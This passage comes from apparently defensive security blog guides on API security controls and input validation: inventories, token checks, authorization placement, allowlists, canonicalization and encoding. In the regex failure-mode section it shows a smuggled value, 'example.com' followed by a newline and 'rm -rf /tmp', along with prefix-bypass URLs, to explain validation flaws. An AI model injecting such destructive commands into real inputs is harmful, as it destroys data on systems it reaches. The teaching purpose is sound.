reliable way to find one is to reconcile the path templates your gateway or load balancer actually observed over the last 30 days against the paths declared in your OpenAPI specification. Anything the gateway saw and the spec does not declare is shadow surface. Passive traffic analysis finds more than active scanning because it sees the routes clients genuinely call. **Q: What is a zombie API?** A zombie API is a deprecated version or endpoint that is still deployed and still answering requests. It is dangerous because it usually predates whatever authorization, validation, or rate-limiting improvements were made to the current version, and because nobody reviews it. Deprecation only takes effect when a version stops responding, so every deprecation needs a sunset date, a monitored traffic countdown, and a final shutdown. **Q: Should authorization happen at the API gateway or in the service?** Split it. The gateway handles authentication, coarse policy such as which client may reach which route, transport security, and rate limiting, because those decisions need no application data. Object-level and field-level authorization belong in the service, because only the service knows who owns record 1025 and which fields this role may set. **Q: How should I set API rate limits?** Size each limit from measurement rather than a round number. Take the per-client distribution for that endpoint over a representative period, set the ceiling above the 99th percentile of legitimate use with headroom, and count the unit that costs you: requests for cheap reads, records returned for list endpoints, and query complexity for GraphQL. Expensive operations take a daily quota instead of a per-minute rate. The algorithm, the key you count against and the response headers are covered in the rate limiting guide. **Q: How do I secure internal, service-to-service APIs?** Give each service its own identity with mutual TLS, issue short-lived tokens whose audience names the specific callee, authorize the calling service the same way you authorize a user, and keep internal endpoints off any ingress that resolves publicly. Internal APIs are the ones that most often assume the network is the boundary, which is exactly the assumption a server-side request forgery bug or a compromised pod removes. An API security program is a small number of controls applied uniformly across every endpoint you expose. The failures are rarely exotic. They are one route that skipped the ownership check, one version that was deprecated in a document and never switched off, one field that arrives as an object where the code expected a string. This guide covers the defensive side: how to build the inventory, where to put authentication and authorization, what a request schema buys you, how to size a rate limit from real numbers, which controls belong at the gateway, and what to log so a missed check is visible. The attack side lives elsewhere in the corpus. Object and function level authorization abuse is covered in [API Abuse Explained](/api-abuse-explained), token forgery and confusion in [JWT Attacks Explained](/jwt-attacks-explained), flow and redirect abuse in [OAuth Attacks Explained](/oauth-attacks-explained), browser-origin policy in [CORS Explained](/cors-explained), schema-level query abuse in [GraphQL Attacks Explained](/graphql-attacks-explained), and limiter algorithms, keys and 429 responses in [API Rate Limiting Explained](/rate-limiting-explained). This page assumes you have read or will read those and asks a different question: what does the defending team actually build. ## Start with the inventory, because everything else is scoped to it Every control below applies to a list of endpoints. If the list is wrong, the coverage is wrong, and the gap is invisible in every report you generate. Three kinds of endpoint go missing. **Shadow endpoints** serve production traffic and appear in no specification. They arrive from a hotfix that shipped a debug route, a mobile client that calls something the web client does not, a partner integration built under deadline, or a framework that auto-generates routes nobody declared. **Zombie endpoints** are older versions still deployed and still answering. They predate your current authorization helpers, your current validation middleware, and your current logging. An attacker who finds `/api/v1/users/{id}` after you hardened `/api/v3` gets the pre-hardening behaviour. **Third-party and internal endpoints** are the ones you did not write. A vendor SDK mounted at a path in your domain, an admin console on the same ingress, a metrics endpoint that leaks configuration. The reliable discovery method is passive reconciliation rather than active scanning. Your gateway, load balancer, or service mesh already records every request that arrived. Aggregate a period of those logs into path templates, then diff against the paths your OpenAPI specification declares. ### A worked reconciliation The method is a 30-day window of gateway access logs, with numeric and UUID segments normalized to a placeholder and distinct templates counted. The figures below are a constructed illustration of the shape that diff takes on a mid-sized product API, not measurements from a named system. | Source | Distinct path templates | |---|---| | Observed in gateway logs, 30 days | 412 | | Declared in the OpenAPI 3.1 specification | 261 | | Raw difference | 151 | | Of which: method or trailing-slash variants of a declared path | 96 | | Genuinely undeclared surface | 55 | Now classify the 55. In this illustration, 31 belong to a `v1` that was documented as deprecated two years ago and still serves 4,200 requests a day, mostly from one mobile build that was never forced to upgrade. Eighteen are internal administrative routes that a shared ingress made publicly resolvable, and they were only ever protected by the assumption that nobody outside the office would find them. Six are debug or health routes, of which two return build metadata including dependency versions and a hostname. That table is the whole program in miniature. The 31 zombie routes need a sunset with an enforced date, the one the failure modes below describe. The 18 internal routes need to come off the public ingress and get their own authentication path. The 6 debug routes need to be removed or authenticated. None of that work is hard. Not knowing they existed is what made them dangerous, and the same reconnaissance techniques described in the [OSINT reconnaissance guide](/osint-reconnaissance-guide), certificate transparency logs, JavaScript bundle analysis, mobile app decompilation, are what an outsider uses to build the same list from outside your perimeter. Run the reconciliation on a schedule and fail loudly when the undeclared count grows. A weekly job that diffs observed templates against the committed specification turns inventory from a project into a metric. Teams that do this once during an audit are back to an unknown surface within a quarter. ## Authentication: prove the caller, at the edge Authentication answers one question per request and should be answered once, consistently, before the request reaches business logic. Pick the credential type by caller. | Caller | Credential | Notes | |---|---|---| | Browser front end | Short-lived access token from an OIDC provider, refresh handled by the auth layer | Cookie storage with `HttpOnly`, `Secure`, `SameSite` where the token rides a cookie | | Mobile app | OAuth 2.0 authorization code with PKCE, short-lived access token | Never embed a high-privilege key in a binary the user controls | | Partner server | Client credentials grant, or mutual TLS client certificate | Audience-restricted token naming your service | | Internal service | Mutual TLS plus a short-lived, audience-restricted token | Identity per workload, not per cluster | | Automation and scripts | Scoped API key with an expiry and a named owner | Rotate on schedule and immediately on exposure | The flow mechanics live in [OAuth 2.0 Explained](/oauth-2-explained) and the identity-protocol comparison in [SAML vs OAuth vs OIDC](/saml-vs-oauth-vs-oidc). What matters for the defensive build is the validation, because a token you accept without checking is a token an attacker can supply. ### The token validation checklist, with values Validating a JWT access token means running an explicit list of checks and failing closed on any of them. Written out with real values for a service called `orders-api`: ``` 1. Signature verifies against a key from the issuer's JWKS jwks_uri: https://login.example.com/.well-known/jwks.json cache TTL: 900 seconds, refresh on unknown kid, rate-limited to 1 refresh / 60s 2. alg is in the allowlist {RS256, ES256} -> reject "none"; this issuer signs asymmetrically, so reject HS* 3. kid names a key currently published in the JWKS 4. iss == "https://login.example.com/" -> exact string match, trailing slash included 5. aud contains "https://api.example.com/orders" 6. exp > now -> clock skew tolerance 60s, no more 7. nbf <= now + 60s 8. iat is not further in the past than the max token lifetime you issue (900s) 9. scope contains "orders:read" for GET, "orders:write" for POST/PATCH/DELETE 10. sub is present and maps to an active principal ``` Two lines carry most of the weight. Line 2 pins the algorithm to what you expect, which closes the algorithm-confusion family described in [JWT Attacks Explained](/jwt-attacks-explained) and mandated by RFC 8725. Line 5 pins the audience, so a token minted for the marketing API cannot be replayed against the orders API. A surprising number of production services verify the signature and the expiry and skip both. For mutual TLS, the equivalent list is: the client certificate chains to your private CA, the certificate is not on the current revocation list, the subject or SAN maps to a known workload identity, and the certificate lifetime is short enough that revocation lag is bounded. The mechanics are in [What Is mTLS](/what-is-mtls), and machine-to-machine traffic is where it fits best because there is no human enrollment cost. ## Authorization: centralize the policy, decide inside the service Every check in the previous section establishes who is calling and which broad scopes they hold. Whether this caller may read order 1025 is a separate decision, and it is where the expensive breaches happen. The design question is where that decision lives. Object-level and function-level authorization failures as attacks, along with excessive data exposure, are covered in [API Abuse Explained](/api-abuse-explained). Three placements, with the tradeoff each one buys: **In the handler.** Each endpoint writes its own check. Simple to start, impossible to audit across a surface of 400 route templates, and the failure mode is silent: a new endpoint ships without a check and nothing complains. **In a shared middleware or decorator.** Every route declares the permission it requires and the framework refuses to serve a route that declares nothing. This is the biggest single improvement available to most codebases, because it converts "hope every handler checks" into "the router will not start with an undeclared route". It handles function-level authorization well. Object-level authorization stays out of its reach, because the middleware runs before the object is loaded. **In a policy engine with a service-side data fetch.** The policy is written once, in a declarative language, and evaluated with the attributes the service supplies: the subject, the action, the resource, the resource owner, the tenant. The policy is auditable in one place and the decision still happens where the ownership data is. The practical shape for most teams is the second and third together. Declare the required permission on every route so nothing ships unguarded, then perform the object-level check immediately after loading the object and before returning it: ``` order = repo.load(order_id) # load first authorize(subject, "orders:read", order) # then decide, using order.tenant_id and order.owner_id return serialize(order, fields_for(subject.role)) ``` Note the third line. Field-level shaping belongs in the same place, because the role that may read an order is often not the role that may read the card fingerprint on it. Serializing the whole record and trusting the client is the read side of the property-level failure, and binding the whole request body onto the record is the write side, covered in [Mass Assignment Explained](/mass-assignment-explained). Bind an explicit list of writable fields per role and the class closes. Scope the permissions themselves with [least privilege](/least-privilege-explained): `orders:read` for one tenant is a far smaller prize than a token that can call every endpoint. Tenant isolation deserves its own line in the policy, evaluated on every query, because a cross-tenant read is the finding that turns a single-customer incident into a regulatory one. ## Schema validation on the way in and on the way out A request schema is the cheapest control in this guide. Declaring that `quantity` is an integer between 1 and 500 and that `email` is a string of at most 254 characters costs one line each and closes a long tail of bugs before any handler runs. Enforce four things at the edge: 1. **Types.** The single most valuable check, because it stops a structure arriving where a scalar belongs. A field declared as a string can never carry the operator object that drives NoSQL injection. 2. **Bounds.** Maximum body size, maximum array length, maximum string length, maximum nesting depth. Depth limits matter for JSON and matter more for XML, where an unbounded parser is the [XXE injection](/xxe-injection-explained) surface. 3. **Unknown fields.** Reject them by default. Silently ignoring an unrecognized field is how a client discovers that `is_admin` is accepted somewhere down the stack. 4. **Content type.** Accept the one type the endpoint parses. An endpoint that will happily parse XML because a library supports it has an attack surface its authors never considered, and the same reasoning applies to any endpoint that deserializes objects, as [insecure deserialization](/insecure-deserialization-explained) sets out. Response schemas are worth the extra effort on any endpoint that returns user data, because they catch the field you added to the database model in a hurry and never meant to publish. A contract test that fails when a response contains a field the schema does not declare is a leak detector. The field-level rules, allowlists, canonicalization order, and where encoding belongs, are covered in the [input validation guide](/input-validation-guide). Do not duplicate that logic per handler; put the schema at the boundary and let each handler assume the shape. ## Rate limits and quotas as a budget A rate limit is a budget for one endpoint, sized from the traffic that endpoint actually sees. Pull the per-client distribution, set the ceiling above the 99th percentile of legitimate use with headroom, and give the one integration partner sitting far above that line a documented higher tier rather than lifting the ceiling for everyone. The unit matters as much as the number: requests for cheap reads, records returned for list endpoints, since one request with `limit=1000` costs what a thousand requests cost, query complexity for GraphQL, and a daily quota for expensive operations such as report generation or bulk export. Limiter algorithms, the key you count against, the rollout sequence and the response headers are covered in [API Rate Limiting Explained](/rate-limiting-explained). A rate limit bounds the damage from a missing ownership check without replacing it, because the first request still leaks the record it reaches. Treat limits as the control that turns a leak into a slow leak and buys the time to find it. ## Where each control belongs Gateways are useful because they make a control uniform across every service behind them. They are misleading when a team assumes the gateway is handling something it structurally cannot. | Control | Gateway | Service | Why | |---|---|---|---| | TLS termination and cipher policy | Yes | Internal hop too | One place to enforce TLS 1.2 minimum and HSTS | | Token signature, issuer, audience, expiry | Yes | Re-verify | Cheap to verify twice, and the service may be reachable directly | | Route-level access (which client may reach which path) | Yes | No | Needs no application data | | Object-level authorization | No | Yes | Only the service knows who owns the record | | Field-level read and write shaping | No | Yes | Depends on role and on the loaded object | | Request schema and size caps | Yes | Yes | Gateway for coarse caps, service for business rules | | Rate limiting and quotas | Yes | Yes for cost-based | Gateway sees all traffic, service knows query cost | | CORS policy | Yes | Consistent | One allowlist beats per-service drift, see [CORS Explained](/cors-explained) | | Security headers | Yes | Yes | Reference list in [HTTP Security Headers](/http-security-headers-reference) | | Audit logging of decisions | Partial | Yes | The gateway logs the status; the service knows the decision | Two structural rules go with that table. First, make the gateway the only path in. A service reachable on its pod IP or an internal load balancer that a compromised neighbour can call has all of the gateway's controls bypassed, which is the point [network segmentation](/network-segmentation-guide) makes for API infrastructure. Second, keep internal APIs off any ingress that resolves publicly, since a server-side request forgery bug in one public service turns your internal API into a public one, as [SSRF Explained](/ssrf-explained) shows in detail. ## Log the authorization decision Most API logs record method, path, status, and latency. That set cannot tell you about the request that succeeded and should not have, because a wrongly-permitted read returns 200 exactly like a correct one. Add four fields to every request log line: - **Subject identity**, the `sub` claim or workload identity, never the raw token. - **Resource identifier**, the object the request touched. - **Tenant or owner of that resource**, so a cross-tenant access is a comparison rather than an investigation. - **Authorization outcome and the rule that produced it**, so a policy change can be traced to the behaviour it altered. With those, three detections become straightforward: a subject whose tenant differs from the resource tenant on a 200 response, a subject sweeping ascending resource identifiers, and a subject reaching an endpoint whose required permission it has never held before. Feed them into the process described in the [threat hunting guide](/threat-hunting-guide) rather than leaving them as dashboard panels nobody opens. Keep secrets out of the logs. Tokens, keys, `Authorization` headers, and request bodies on auth endpoints belong in a redaction list that is tested, because a log aggregator is usually readable by more people than the database is. ## The failure modes **Deprecation without a shutdown date.** A version marked deprecated in the documentation and still answering requests is a live version with a stale codebase. Give every deprecation a date, a `Sunset` header, a traffic countdown you watch, and a final switch-off. The 31 zombie routes in the reconciliation above existed because step four never happened. **Documentation as the inventory.** The specification records what the team meant to ship. Traffic records what it shipped. Reconcile them or the inventory is fiction. **Authorization tested with one account.** A test suite that logs in as one user and asserts 200 will pass on an API with no ownership checks at all. Every authorization test needs a second account and an assertion that user B receives 403 on user A's object. **Keys with no owner and no expiry.** An API key issued in 2022 to an integration that was decommissioned in 2023 is a valid credential nobody is watching. Every key needs a named owner, an expiry, and a scope narrower than "everything". **Trusting the network.** Internal, east-west, behind-the-VPN and same-cluster all describe where a request came from. Authorization is a separate decision that still has to be made on each request. NIST SP 800-207 makes the same point at architecture level: verify each request rather than the network position it arrived from. **Assuming the gateway did it.** Read the gateway configuration and confirm which controls are enabled on each route, rather than which controls the product supports. ## The verdict If you do four things and nothing else, do these. Build a real inventory by reconciling traffic against your specification, and run it on a schedule. Validate tokens against the full checklist, with the audience and algorithm pinned. Declare a required permission on every route so nothing ships unguarded, and make the object-level check happen next to the object load. Put a schema on every endpoint. Those four cover the surface that the OWASP API Security Top 10 keeps at the top edition after edition, and they scale: each one is a property you can assert about every endpoint on the observed surface rather than a review you perform on one. The remaining work, rate-limit budgets, gateway placement, decision logging and deprecation with teeth, is what keeps the four honest as the surface grows. ## Frequently asked questions **How often should the API inventory be refreshed?** Continuously if your gateway logs allow it, weekly at minimum. The undeclared-endpoint count is a useful metric to trend, because it rises quietly during fast delivery periods and a threshold alert catches the drift before an audit does. **Is an OpenAPI specification a security control?** It becomes one when it is enforced. A specification that only generates documentation is a description. A specification that a gateway or middleware uses to reject undeclared paths, unknown fields, and out-of-range values is a control, and it is the same file doing both jobs. **Do internal APIs need the same controls as public ones?** They need authentication, authorization and logging for the same reasons. What changes is the credential type, since mutual TLS and workload identity are practical between services and impractical for consumer browsers, and the rate-limit shape, since internal callers have predictable volumes that make anomaly detection easier. **How do I secure an API that has to serve anonymous traffic?** Split the surface. Anonymous endpoints get strict rate limits by IP and by fingerprint, aggressive caching, minimal response fields, and no capability to mutate state. Everything that touches user data sits behind authentication. The mistake to avoid is one handler that serves both cases and decides which to be based on whether a token happened to be present. **What is the difference between an API key and an access token?** An API key is a long-lived shared secret that identifies a client and usually carries a fixed scope. An access token is short-lived, issued by an authorization server, carries claims about subject, audience and scope, and retires itself at expiry, so short lifetimes limit the damage even where no revocation mechanism exists. Keys are simpler to issue and worse to leak, so restrict them to server-side automation with a named owner, a scope, and rotation. **Where does WebAuthn fit in API security?** At the human authentication step that precedes token issuance rather than on the API calls themselves. A phishing-resistant login, as described in [WebAuthn Explained](/webauthn-explained), raises the cost of stealing the session that mints the tokens. The API still validates the token it receives. ## Related guides - [API Abuse Explained](/api-abuse-explained) - [JWT Attacks Explained](/jwt-attacks-explained) - [OAuth Attacks Explained](/oauth-attacks-explained) - [GraphQL Attacks Explained](/graphql-attacks-explained) - [Input Validation Best Practices](/input-validation-guide) - [Secure Coding Practices](/secure-coding-practices) - [OWASP Top 10 Explained](/owasp-top-10-explained) - [API Rate Limiting Explained](/rate-limiting-explained) - [What Is mTLS](/what-is-mtls) - [Webhook Signature Verification](/webhook-signature-verification) - [Leaked API Keys Explained](/leaked-api-keys-explained) ### Sources - OWASP API Security Top 10 (2023) (OWASP): https://owasp.org/API-Security/editions/2023/en/0x11-t10/ - OWASP REST Security Cheat Sheet (OWASP): https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html - NIST SP 800-204: Security Strategies for Microservices-based Application Systems (NIST): https://csrc.nist.gov/pubs/sp/800/204/final - NIST SP 800-207: Zero Trust Architecture (NIST): https://csrc.nist.gov/pubs/sp/800/207/final - RFC 9700: Best Current Practice for OAuth 2.0 Security (IETF): https://www.rfc-editor.org/rfc/rfc9700 - RFC 8725: JSON Web Token Best Current Practices (IETF): https://www.rfc-editor.org/rfc/rfc8725 - RFC 6749: The OAuth 2.0 Authorization Framework (IETF): https://www.rfc-editor.org/rfc/rfc6749 - OpenAPI Specification 3.1.0 (OpenAPI Initiative): https://spec.openapis.org/oas/v3.1.0.html --- ## Input Validation Best Practices: Allowlists, Canonicalization & Encoding > How to build input validation that holds: allowlist rules by field, canonicalize before you check, and encode at the sink. With the failure modes that quietly defeat each one. - URL: https://blog.pwnsy.com/input-validation-guide - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: intermediate - Category: web-security - Tags: input-validation, web-security, owasp, appsec, secure-coding - Related: [Leaked API Keys Explained: How Secrets Leak and What to Do](https://blog.pwnsy.com/leaked-api-keys-explained), [Webhook Signature Verification: How It Works and Why It Fails](https://blog.pwnsy.com/webhook-signature-verification), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - Write validation as an allowlist: a declared type, length, character set or format, range, and where possible a fixed set of permitted values. Reject everything else and log the rejection. - Order matters. Decode and canonicalize to one normal form first, then validate, then pass the value to its sink through a parameterized or context-encoded API. Validating before the last decode is the classic bypass. - Validation alone never fixes injection. It narrows what an attacker can send; parameterization and context-correct encoding are what keep data out of the instruction stream. - The common failures are blocklists, unanchored or line-anchored regexes, a decode that happens after the check, Unicode normalization applied downstream, and validating a value once then trusting it forever. ### Key Takeaways - Positive validation (state what is allowed) survives new attack syntax; negative validation (list what is banned) breaks the first time an encoding you did not think of appears. - Canonicalize once, at the boundary, then validate the canonical form. Any decode, normalization, or path resolution that happens after your check can reintroduce exactly what you rejected. - A Ruby or Python regex anchored with ^ and $ can accept a trailing newline and a second line of attacker text; use \A and \z, or a full-match API, on every security regex. - Validation belongs at the trust boundary and encoding belongs at the sink, so the same value gets checked once for shape and encoded differently for HTML, SQL, a shell, LDAP, or a URL. ### FAQ **Q: What are input validation best practices?** Define each field by an allowlist: expected type, minimum and maximum length, permitted character set or exact format, numeric range, and a fixed set of values where one exists. Canonicalize the input to a single normal form before you check it, run the check server-side, reject rather than repair, and pass the value to its destination through a parameterized or context-encoding API. Validation constrains the input; parameterization and encoding are what actually prevent injection. **Q: What is the difference between an allowlist and a blocklist in input validation?** An allowlist declares the complete set of acceptable inputs and rejects everything outside it. A blocklist enumerates known-bad patterns and accepts everything else. Allowlists fail closed against syntax you have never seen, which is why they hold as encodings and payload styles change. Blocklists require you to have anticipated every representation of an attack, including alternate encodings, Unicode equivalents, and case variants, and they break silently when one is missed. **Q: Should I validate input before or after decoding it?** After. Decode and canonicalize first, then validate the canonical form, then use it. If you validate a value that is still encoded, a later decoding step can turn a string you accepted into a string you would have rejected. Keep decoding until decoding changes nothing, and make sure no layer between your check and the sink decodes or normalizes again. **Q: Does input validation prevent SQL injection?** No. It reduces the surface and it catches malformed data, and a query built by concatenating a validated string is still a query whose structure the input can influence. Parameterized queries keep the value out of the SQL grammar entirely, which is the control that actually closes the class. Treat validation as the check that the value is the right shape and parameterization as the check that it can never become code. **Q: Where should validation run in an application?** Server-side, at every trust boundary the data crosses: the HTTP edge, the service boundary between internal systems, and immediately before any call that interprets the value. Client-side validation is a user-experience feature and provides no guarantee, because an attacker sends requests directly. **Q: What is canonicalization and why does it matter for validation?** Canonicalization reduces the many possible representations of a value to one agreed form: percent-decoded, Unicode-normalized, path-resolved, case-folded where appropriate. It matters because a check compares strings, and an attacker who supplies a different representation of the same value walks past a check that only ever saw the surface form. Canonicalize once, then validate what came out. Every injection bug write-up ends at the same instruction: validate your input. The instruction is right and it is also the least specific advice in application security, because "validate" covers at least four different jobs that run in different places, in a required order, and with different failure modes. Getting the order wrong is itself a documented weakness class ([CWE-180](https://cwe.mitre.org/data/definitions/180.html), validate before canonicalize), and it is why applications with a validation layer still get exploited. This guide is about building the checks. It covers what an allowlist rule for a field actually contains, where canonicalization has to sit relative to the check, which control belongs at which boundary, and the specific ways each one fails in production. It does not re-explain the attacks: [SQL injection](/sql-injection-explained), [command injection](/command-injection-explained), [path traversal](/path-traversal-explained), [NoSQL injection](/nosql-injection-explained) and [server-side template injection](/server-side-template-injection-explained) each have their own page. ## The four jobs people call "validation" Separating these makes the rest of the guide readable, because most arguments about validation are two people describing different controls. | Control | Question it answers | Where it runs | What it stops on its own | |---|---|---|---| | Syntactic validation | Is this value the right type, length, and shape? | Trust boundary, on arrival | Malformed data, wrong-type payloads, oversized input | | Semantic validation | Is this value meaningful for this operation right now? | Domain layer, with context | Values that are well-formed and wrong (a past date, someone else's account id) | | Parameterization | Can this value influence the structure of a statement? | At the sink, in the driver or API | Injection into the interpreter that API talks to | | Output encoding | Will this value be misread by the parser that receives it? | At the sink, per destination | Cross-context misinterpretation, such as HTML or LDAP metacharacters | Sanitization is a fifth thing, and it is the one to be careful with. Sanitizing means changing the input to make it acceptable rather than rejecting it. It is legitimate for exactly one situation: input that must legitimately carry rich markup, such as a comment body that permits HTML, where a mature parser-based library rewrites the document into a known-safe subset. Everywhere else, rejection is the correct response, because a repair step is a transformation, and any transformation applied after your check is a chance to produce a string you never validated. ## Build the rule as an allowlist An allowlist rule is a positive specification: this is the complete set of acceptable values, and everything outside it is rejected. Write it as five layered constraints, from cheapest to most specific, and stop at the tightest one that fits the field. 1. **Type.** The value is a string, an integer, a boolean, an array of strings. Declare it once in a request schema at the edge so every handler can assume the shape, rather than re-checking types per controller; the [API security guide](/api-security-guide) covers the schema layer as a whole. Pinning the type closes the operator-injection path described in the [NoSQL injection guide](/nosql-injection-explained), because an object can never stand in for a password string if the schema says the field is a string. 2. **Length or size.** Minimum and maximum, in the unit the downstream code counts in. A username is 3 to 32 characters. An uploaded file is at most 5 MB. Bounds also cap the cost of every check that follows. 3. **Character set or format.** Either an explicit set of permitted characters, or a named format with a real parser behind it (an email address, a UUID, an RFC 3339 timestamp, an IPv4 address). Prefer a library parser over a regex whenever the format has a specification. 4. **Range and precision.** For numbers, the minimum and maximum the business allows plus the number of decimal places. This is also where you keep values inside the width of the integer type they will land in, which is the input-side half of the problem described in [integer overflow](/integer-overflow-explained). 5. **Membership in a fixed set.** The strongest rule available. If a field can only be `pdf`, `csv`, or `xlsx`, compare it against those three values and reject anything else. No pattern matching, no escaping, no ambiguity. Rule 5 beats rule 3 whenever you can reach it, and you can reach it more often than it first appears. The path traversal case is the clearest example: rather than validating a filename against a character set, map an opaque identifier the user supplies to a server-side filename you control, so no user-supplied text ever touches a filesystem call. When that indirection is impossible, fall back to a strict character set plus an extension allowlist, then resolve and confine the path, which is the pattern the [path traversal guide](/path-traversal-explained) sets out. When a value fails, reject the request and log the field name, the rule that failed, and a request identifier. Do not log the value itself unless you have decided it is safe to store. Stripping the offending characters and continuing produces a value that never passed a check, and it hides an attack that your logs should have shown you. ### A worked field specification Take a hostname a user submits so the application can check whether a host is reachable. The full rule, written out: | Constraint | Value | |---|---| | Type | string | | Length | 1 to 253 characters | | Format | labels of `[a-z0-9]` and internal hyphens, separated by dots, each label 1 to 63 characters | | Normalization | lowercased, IDNA-encoded to ASCII before checking | | Rejected explicitly | leading or trailing dot, leading hyphen in a label, any character outside the set, any whitespace including newlines | | Sink | argument array, no shell | The last row is the one that carries the weight. Every row above it narrows what an attacker can send. The last row is what makes a breakout impossible, and the [command injection guide](/command-injection-explained) explains why the shell is the interpreter that has to be removed. ## Canonicalize first, then validate, then use A check compares strings. An attacker who can express the same value in a representation your check has not seen walks straight past it. The fix is an order of operations that never varies: ``` receive -> decode fully -> normalize -> validate -> pass to sink via safe API ``` "Decode fully" means keep decoding until decoding changes nothing, and then confirm the result is well-formed. "Normalize" means one Unicode normalization form, one case fold where the field is case-insensitive, one resolved absolute path where the value is a path. Going out of order costs you the check. A validator that inspects a value while it is still encoded is comparing against a string no downstream component will ever see, and each later decoding pass can rebuild the exact sequence you rejected. Double-encoded path payloads are the best-documented instance of this, and the [path traversal guide](/path-traversal-explained) walks that case through decode by decode. The same shape appears with overlong UTF-8 sequences, with malformed encodings that lenient decoders still accept, and with a mixed-case value compared before case folding. Unicode normalization is the version of this that catches people who have already learned the percent-encoding lesson. NFKC compatibility normalization maps the fullwidth character `<` (U+FF1C) to the ASCII `<` and expands the ligature `fi` (U+FB01) to `fi`, neither of which NFC or NFD touch. Canonical normalization has its own folds: the Kelvin sign `K` (U+212A) becomes an ASCII `K` under NFC and NFD as well, because it carries a canonical decomposition. So no form is inert. If your validator sees one representation and your templating layer or database normalizes afterwards, you validated one string and used another. Normalize at the boundary, pick one form (NFC for storage and comparison, NFKC where you deliberately want compatibility folding), apply it before the check, and never let a later layer normalize again. Your validator is only as good as the guarantee that nothing after it transforms the value. Trace every value from the check to the sink and list the transformations in between: URL decoding, HTML entity decoding, Unicode normalization, path resolution, JSON parsing of a nested string, a template engine's own unescaping. Every one of them is a place where a rejected string can be reconstructed. ## Why validation alone never closes injection Injection is a grammar problem. Somewhere a string is handed to a parser that will decide which parts of it are data and which parts are instructions. Validation changes which strings can arrive. The parser still makes the data-or-instruction decision at parse time, on whatever string reaches it. Consider a search query field on a product catalogue. Users legitimately type apostrophes (`O'Brien`), quotes, and Unicode punctuation. There is no character set you can allowlist that both serves the feature and excludes every string that could alter a SQL statement built by concatenation. Escaping is not a way out either: the escaping rules differ by database, by character set, and by whether the value lands inside a quoted literal, an identifier, or a `LIKE` pattern, and getting one of those contexts wrong reopens the hole. Parameterization removes the decision. The value travels to the database as a bound parameter, outside the statement text, so the parser never sees it as grammar. The same structure applies everywhere: | Sink | The control that closes the class | Validation's remaining job | |---|---|---| | SQL database | Bound parameters ([SQL injection](/sql-injection-explained)) | Type, range, and length so the query is sane | | Document database | Typed values through the driver ([NoSQL injection](/nosql-injection-explained)) | Pin every field to a primitive type at the edge | | Operating system | Argument array, no shell ([command injection](/command-injection-explained)) | Format check, plus stop values that pose as options | | Template engine | Pass data as context, never compile user text ([SSTI](/server-side-template-injection-explained)) | Nothing user-supplied reaches the template source | | HTML document | Context-aware output encoding ([XSS](/xss-attacks-explained)) | Length and shape only; encoding does the work | | Directory service | Escaping per the filter grammar ([LDAP injection](/ldap-injection-explained)) | Allowlist the attribute values | | XML parser | External entities disabled ([XXE](/xxe-injection-explained)) | Schema validation of the document | | Filesystem | Resolve and confine under a base directory ([path traversal](/path-traversal-explained)) | Map identifiers to server-side names | Read the middle column as the fix and the right column as the reason to still validate. Validation catches malformed data, enforces business rules, produces useful rejections in logs, and shrinks the space an attacker can explore. It sits alongside the sink-level control rather than replacing it. ## Encode at the sink, per destination A recurring mistake is encoding a value once when it arrives and storing the encoded form. That produces `O'Brien` in the database, which is wrong in a CSV export, wrong in an email subject line, wrong in a JSON API response, and wrong in a PDF. The encoding a value needs depends entirely on the parser about to read it, and the same stored value goes to several parsers over its life. So: store the canonical value, and encode at each output boundary for that boundary's grammar. HTML body text, an HTML attribute, a JavaScript string literal, a URL query component, and a CSS value each have distinct rules, which is why the practical advice for browser output is to use a templating engine with contextual auto-escaping and to stop hand-rolling it. [Content Security Policy](/content-security-policy-explained) is the layer underneath that, catching what escapes. One boundary that gets forgotten: your own database is a source of untrusted input. A value stored before your validation rules existed, or written by a batch import, or planted by an earlier injection, arrives at the sink exactly as attacker-controlled as an HTTP parameter. The trust boundary is the call you are about to make. ## Failure modes that survive code review These are the ones that pass a reading of the code and fail in production. **The regex anchors are line anchors.** In Ruby, `^` and `$` match at line boundaries always, so `/\A[a-z0-9.-]+\z/` is the correct security anchor and `/^[a-z0-9.-]+$/` accepts `"example.com\nrm -rf /tmp"` because the first line matches. Python's `$` matches at the end of the string or immediately before a trailing newline, so `re.match(r"^[a-z0-9.-]+$", "example.com\n")` returns a match; `re.fullmatch` or `\A...\Z` does not. JavaScript's `$` without the `m` flag is a true end anchor, and adding `m` reintroduces the problem. Check the anchor semantics of your specific engine on every validation regex you own. **The regex is not anchored at all.** A pattern that searches rather than matches accepts any string that contains an acceptable substring. `search` and `match` and `fullmatch` are three different functions and only one of them is a validator. **The check is client-side.** A browser-side rule is a user-experience feature. Requests arrive from tools that never ran your JavaScript. Every rule that matters is re-run server-side. **The validator is expensive.** A pattern with nested quantifiers over an unbounded input is a denial-of-service primitive, because backtracking is superlinear in the input length. Bound the length before the pattern runs, avoid nested quantifiers, and prefer a linear-time engine or a hand-written parser for hot paths. **Validation happened, then state changed.** A value checked at one moment and used later can be checked against a world that no longer exists. When the check and the use are separated by a gap, the gap is exploitable; see [TOCTOU race conditions](/toctou-race-condition-explained). **Only the fields you thought of are validated.** Frameworks that bind a whole request body onto an object accept fields nobody declared, which is the [mass assignment](/mass-assignment-explained) problem, and in JavaScript the same reflex reaches [prototype pollution](/prototype-pollution-explained). Bind named fields with declared types. **Headers and filenames were never treated as input.** `Host`, `X-Forwarded-For`, `Referer`, cookie values, upload filenames, and metadata inside uploaded files are all attacker-controlled and routinely skipped. [Host header injection](/host-header-injection-explained) exists because of exactly this gap, and file metadata is a documented delivery route covered in [attacker file formats](/attacker-file-formats-explained). **The value is a URL and only its prefix was checked.** `startsWith("https://example.com")` accepts `https://example.com.attacker.tld` and `https://example.com@attacker.tld`. Parse the URL with a real parser, then compare the host component against an allowlist of exact hosts. This is the failure behind most [open redirect](/open-redirect-explained) and [SSRF](/ssrf-explained) bugs, and SSRF adds the harder problem of a hostname that resolves differently the second time it is looked up. **Deserialization ran before validation.** If untrusted bytes are turned into objects before any check, the parser has already executed attacker-influenced logic. That is [insecure deserialization](/insecure-deserialization-explained), and validation cannot run early enough to help; the format itself has to be constrained. ## Semantic checks and internal boundaries The four-jobs table above places each control at its layer, and the sink column names the API that closes each class. What that table cannot express is the middle layer: the checks that need context the edge does not have. Whether the requested transfer amount is within the account's balance, whether the target record belongs to the caller, whether the date falls in a permitted window. Ownership checks in particular are authorization rather than 